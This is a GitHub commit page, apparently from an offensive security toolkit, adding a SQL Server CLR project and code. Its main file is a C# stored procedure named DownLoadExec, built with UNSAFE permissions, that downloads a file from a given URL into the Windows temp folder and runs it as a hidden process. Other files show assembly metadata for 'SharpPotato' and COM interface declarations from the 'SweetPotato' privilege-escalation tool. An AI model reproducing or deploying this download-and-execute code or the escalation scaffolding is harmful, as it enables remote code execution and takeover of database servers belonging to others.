-
Notifications
You must be signed in to change notification settings - Fork 56
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
37 changed files
with
4,953 additions
and
104 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0"> | ||
<PropertyGroup> | ||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> | ||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> | ||
<Name>DownLoadExec</Name> | ||
<SchemaVersion>2.0</SchemaVersion> | ||
<ProjectVersion>4.1</ProjectVersion> | ||
<ProjectGuid>{b8504434-68b2-47ce-a86f-b2fd434f77fd}</ProjectGuid> | ||
<DSP>Microsoft.Data.Tools.Schema.Sql.Sql100DatabaseSchemaProvider</DSP> | ||
<OutputType>Database</OutputType> | ||
<RootPath> | ||
</RootPath> | ||
<RootNamespace>DownLoadExec</RootNamespace> | ||
<AssemblyName>DownLoadExec</AssemblyName> | ||
<ModelCollation>1033, CI</ModelCollation> | ||
<DefaultFileStructure>BySchemaAndSchemaType</DefaultFileStructure> | ||
<DeployToDatabase>True</DeployToDatabase> | ||
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion> | ||
<TargetLanguage>CS</TargetLanguage> | ||
<AppDesignerFolder>Properties</AppDesignerFolder> | ||
<SqlServerVerification>False</SqlServerVerification> | ||
<IncludeCompositeObjects>True</IncludeCompositeObjects> | ||
<TargetDatabaseSet>True</TargetDatabaseSet> | ||
<GenerateCreateScript>True</GenerateCreateScript> | ||
<TargetFrameworkProfile /> | ||
<PermissionSet>UNSAFE</PermissionSet> | ||
</PropertyGroup> | ||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> | ||
<OutputPath>bin\Release\</OutputPath> | ||
<BuildScriptName>$(MSBuildProjectName).sql</BuildScriptName> | ||
<TreatWarningsAsErrors>False</TreatWarningsAsErrors> | ||
<DebugType>pdbonly</DebugType> | ||
<Optimize>true</Optimize> | ||
<DefineDebug>false</DefineDebug> | ||
<DefineTrace>true</DefineTrace> | ||
<ErrorReport>prompt</ErrorReport> | ||
<WarningLevel>4</WarningLevel> | ||
</PropertyGroup> | ||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> | ||
<OutputPath>bin\Debug\</OutputPath> | ||
<BuildScriptName>$(MSBuildProjectName).sql</BuildScriptName> | ||
<TreatWarningsAsErrors>false</TreatWarningsAsErrors> | ||
<DebugSymbols>true</DebugSymbols> | ||
<DebugType>full</DebugType> | ||
<Optimize>false</Optimize> | ||
<DefineDebug>true</DefineDebug> | ||
<DefineTrace>true</DefineTrace> | ||
<ErrorReport>prompt</ErrorReport> | ||
<WarningLevel>4</WarningLevel> | ||
</PropertyGroup> | ||
<PropertyGroup> | ||
<VisualStudioVersion Condition="'$(VisualStudioVersion)' == ''">11.0</VisualStudioVersion> | ||
<!-- Default to the v11.0 targets path if the targets file for the current VS version is not found --> | ||
<SSDTExists Condition="Exists('$(MSBuildExtensionsPath)\Microsoft\VisualStudio\v$(VisualStudioVersion)\SSDT\Microsoft.Data.Tools.Schema.SqlTasks.targets')">True</SSDTExists> | ||
<VisualStudioVersion Condition="'$(SSDTExists)' == ''">11.0</VisualStudioVersion> | ||
</PropertyGroup> | ||
<Import Condition="'$(SQLDBExtensionsRefPath)' != ''" Project="$(SQLDBExtensionsRefPath)\Microsoft.Data.Tools.Schema.SqlTasks.targets" /> | ||
<Import Condition="'$(SQLDBExtensionsRefPath)' == ''" Project="$(MSBuildExtensionsPath)\Microsoft\VisualStudio\v$(VisualStudioVersion)\SSDT\Microsoft.Data.Tools.Schema.SqlTasks.targets" /> | ||
<ItemGroup> | ||
<Folder Include="Properties" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<Reference Include="System" /> | ||
<Reference Include="System.Data" /> | ||
<Reference Include="System.Xml" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<Compile Include="SqlStoredProcedure1.cs" /> | ||
</ItemGroup> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
using System; | ||
using System.Data; | ||
using System.Data.SqlClient; | ||
using System.Data.SqlTypes; | ||
using System.Diagnostics; | ||
using System.Net; | ||
using System.Text; | ||
using Microsoft.SqlServer.Server; | ||
|
||
public partial class StoredProcedures | ||
{ | ||
[Microsoft.SqlServer.Server.SqlProcedure] | ||
public static void DownLoadExec(string tempfilename) | ||
{ | ||
WebClient webClient = new WebClient(); | ||
string[] namearry; | ||
string url = ""; | ||
string dstfile = ""; | ||
if (tempfilename.Contains("")) { | ||
namearry = tempfilename.Split(','); | ||
url = namearry[0]; | ||
dstfile = namearry[1]; | ||
} | ||
else { | ||
Random rd = new Random(); | ||
url = tempfilename; | ||
dstfile = "C:\\windows\\temp\\" + rd.Next(1000, 9999).ToString() + ".exe"; | ||
} | ||
//下载文件 | ||
webClient.DownloadFile(url,dstfile); | ||
if (dstfile.EndsWith(".exe")) | ||
{ | ||
RunCommand(dstfile, ""); | ||
} | ||
|
||
} | ||
public static string RunCommand(string filename, string arguments) | ||
{ | ||
var process = new Process(); | ||
|
||
process.StartInfo.FileName = filename; | ||
if (!string.IsNullOrEmpty(arguments)) | ||
{ | ||
process.StartInfo.Arguments = arguments; | ||
} | ||
|
||
process.StartInfo.CreateNoWindow = true; | ||
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; | ||
process.StartInfo.UseShellExecute = false; | ||
|
||
process.StartInfo.RedirectStandardError = true; | ||
process.StartInfo.RedirectStandardOutput = true; | ||
var stdOutput = new StringBuilder(); | ||
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); | ||
string stdError = null; | ||
try | ||
{ | ||
process.Start(); | ||
process.BeginOutputReadLine(); | ||
stdError = process.StandardError.ReadToEnd(); | ||
process.WaitForExit(); | ||
} | ||
catch (Exception e) | ||
{ | ||
SqlContext.Pipe.Send(e.Message); | ||
} | ||
|
||
if (process.ExitCode == 0) | ||
{ | ||
SqlContext.Pipe.Send(stdOutput.ToString()); | ||
} | ||
else | ||
{ | ||
var message = new StringBuilder(); | ||
|
||
if (!string.IsNullOrEmpty(stdError)) | ||
{ | ||
message.AppendLine(stdError); | ||
} | ||
|
||
if (stdOutput.Length != 0) | ||
{ | ||
message.AppendLine("Std output:"); | ||
message.AppendLine(stdOutput.ToString()); | ||
} | ||
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); | ||
} | ||
return stdOutput.ToString(); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
using System.Reflection; | ||
using System.Runtime.CompilerServices; | ||
using System.Runtime.InteropServices; | ||
|
||
// General Information about an assembly is controlled through the following | ||
// set of attributes. Change these attribute values to modify the information | ||
// associated with an assembly. | ||
[assembly: AssemblyTitle("SharpPotato")] | ||
[assembly: AssemblyDescription("")] | ||
[assembly: AssemblyConfiguration("")] | ||
[assembly: AssemblyCompany("")] | ||
[assembly: AssemblyProduct("SharpPotato")] | ||
[assembly: AssemblyCopyright("Copyright © 2020")] | ||
[assembly: AssemblyTrademark("")] | ||
[assembly: AssemblyCulture("")] | ||
|
||
// Setting ComVisible to false makes the types in this assembly not visible | ||
// to COM components. If you need to access a type in this assembly from | ||
// COM, set the ComVisible attribute to true on that type. | ||
[assembly: ComVisible(false)] | ||
|
||
// The following GUID is for the ID of the typelib if this project is exposed to COM | ||
[assembly: Guid("1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e")] | ||
|
||
// Version information for an assembly consists of the following four values: | ||
// | ||
// Major Version | ||
// Minor Version | ||
// Build Number | ||
// Revision | ||
// | ||
// You can specify all the values or you can default the Build and Revision Numbers | ||
// by using the '*' as shown below: | ||
// [assembly: AssemblyVersion("1.0.*")] | ||
[assembly: AssemblyVersion("1.0.0.0")] | ||
[assembly: AssemblyFileVersion("1.0.0.0")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace SweetPotato { | ||
[ComImport] | ||
[Guid("0000000d-0000-0000-C000-000000000046")] | ||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] | ||
public interface IEnumSTATSTG { | ||
// The user needs to allocate an STATSTG array whose size is celt. | ||
[PreserveSig] | ||
uint | ||
Next(uint celt, [MarshalAs(UnmanagedType.LPArray), Out] STATSTG[] rgelt, out uint pceltFetched); | ||
|
||
void Skip(uint celt); | ||
|
||
void Reset(); | ||
|
||
[return: MarshalAs(UnmanagedType.Interface)] | ||
IEnumSTATSTG Clone(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace SweetPotato { | ||
[ComVisible(false)] | ||
[ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("0000000A-0000-0000-C000-000000000046")] | ||
public interface ILockBytes { | ||
//Note: These two by(reference 32-bit integers (ULONG) could be used as return values instead, | ||
// but they are not tagged [retval] in the IDL, so for consitency's sake... | ||
void ReadAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbRead); | ||
void WriteAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbWritten); | ||
void Flush(); | ||
void SetSize(long cb); | ||
void LockRegion(long libOffset, long cb, int dwLockType); | ||
void UnlockRegion(long libOffset, long cb, int dwLockType); | ||
void Stat(out System.Runtime.InteropServices.STATSTG pstatstg, int grfStatFlag); | ||
|
||
} | ||
|
||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace SweetPotato { | ||
|
||
[Guid("00000003-0000-0000-C000-000000000046")] | ||
[InterfaceType(1)] | ||
[ComConversionLoss] | ||
[ComImport] | ||
public interface IMarshal { | ||
|
||
void GetUnmarshalClass([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out Guid pCid); | ||
void GetMarshalSizeMax([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out uint pSize); | ||
void MarshalInterface([MarshalAs(28)] [In] IStream pstm, [In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS); | ||
void UnmarshalInterface([MarshalAs(28)] [In] IStream pstm, [In] ref Guid riid, out IntPtr ppv); | ||
void ReleaseMarshalData([MarshalAs(28)] [In] IStream pstm); | ||
void DisconnectObject([In] uint dwReserved); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace SweetPotato { | ||
|
||
[InterfaceType(1)] | ||
[ComConversionLoss] | ||
[Guid("0000000B-0000-0000-C000-000000000046")] | ||
[ComImport] | ||
public interface IStorage { | ||
void CreateStream([MarshalAs(21)] [In] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(28)] out IStream ppstm); | ||
void OpenStream([MarshalAs(21)] [In] string pwcsName, [In] IntPtr reserved1, [In] uint grfMode, [In] uint reserved2, [MarshalAs(28)] out IStream ppstm); | ||
void CreateStorage([MarshalAs(21)] [In] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(28)] out IStorage ppstg); | ||
void OpenStorage([MarshalAs(21)] [In] string pwcsName, [MarshalAs(28)] [In] IStorage pstgPriority, [In] uint grfMode, [In] IntPtr snbExclude, [In] uint reserved, [MarshalAs(28)] out IStorage ppstg); | ||
void CopyTo([In] uint ciidExclude, [MarshalAs(42, SizeParamIndex = 0)] [In] Guid[] rgiidExclude, [In] IntPtr snbExclude, [MarshalAs(28)] [In] IStorage pstgDest); | ||
void MoveElementTo([MarshalAs(21)] [In] string pwcsName, [MarshalAs(28)] [In] IStorage pstgDest, [MarshalAs(21)] [In] string pwcsNewName, [In] uint grfFlags); | ||
void Commit([In] uint grfCommitFlags); | ||
void Revert(); | ||
void EnumElements([In] uint reserved1, [In] IntPtr reserved2, [In] uint reserved3, [MarshalAs(28)] out IEnumSTATSTG ppEnum); | ||
void DestroyElement([MarshalAs(21)] [In] string pwcsName); | ||
void RenameElement([MarshalAs(21)] [In] string pwcsOldName, [MarshalAs(21)] [In] string pwcsNewName); | ||
void SetElementTimes([MarshalAs(21)] [In] string pwcsName, [MarshalAs(42)] [In] FILETIME[] pctime, [MarshalAs(42)] [In] FILETIME[] patime, [MarshalAs(42)] [In] FILETIME[] pmtime); | ||
void SetClass([In] ref Guid clsid); | ||
void SetStateBits([In] uint grfStateBits, [In] uint grfMask); | ||
void Stat([MarshalAs(42)] [Out] STATSTG[] pstatstg, [In] uint grfStatFlag); | ||
} | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
||
namespace SweetPotato { | ||
[ComImport, Guid("0000000c-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] | ||
public interface IStream { | ||
void Read([Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbRead); | ||
void Write([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbWritten); | ||
void Seek(long dlibMove, uint dwOrigin, out long plibNewPosition); | ||
void SetSize(long libNewSize); | ||
void CopyTo(IStream pstm, long cb, out long pcbRead, out long pcbWritten); | ||
void Commit(uint grfCommitFlags); | ||
void Revert(); | ||
void LockRegion(long libOffset, long cb, uint dwLockType); | ||
void UnlockRegion(long libOffset, long cb, uint dwLockType); | ||
void Stat(out STATSTG pstatstg, uint grfStatFlag); | ||
void Clone(out IStream ppstm); | ||
} | ||
} |
Oops, something went wrong.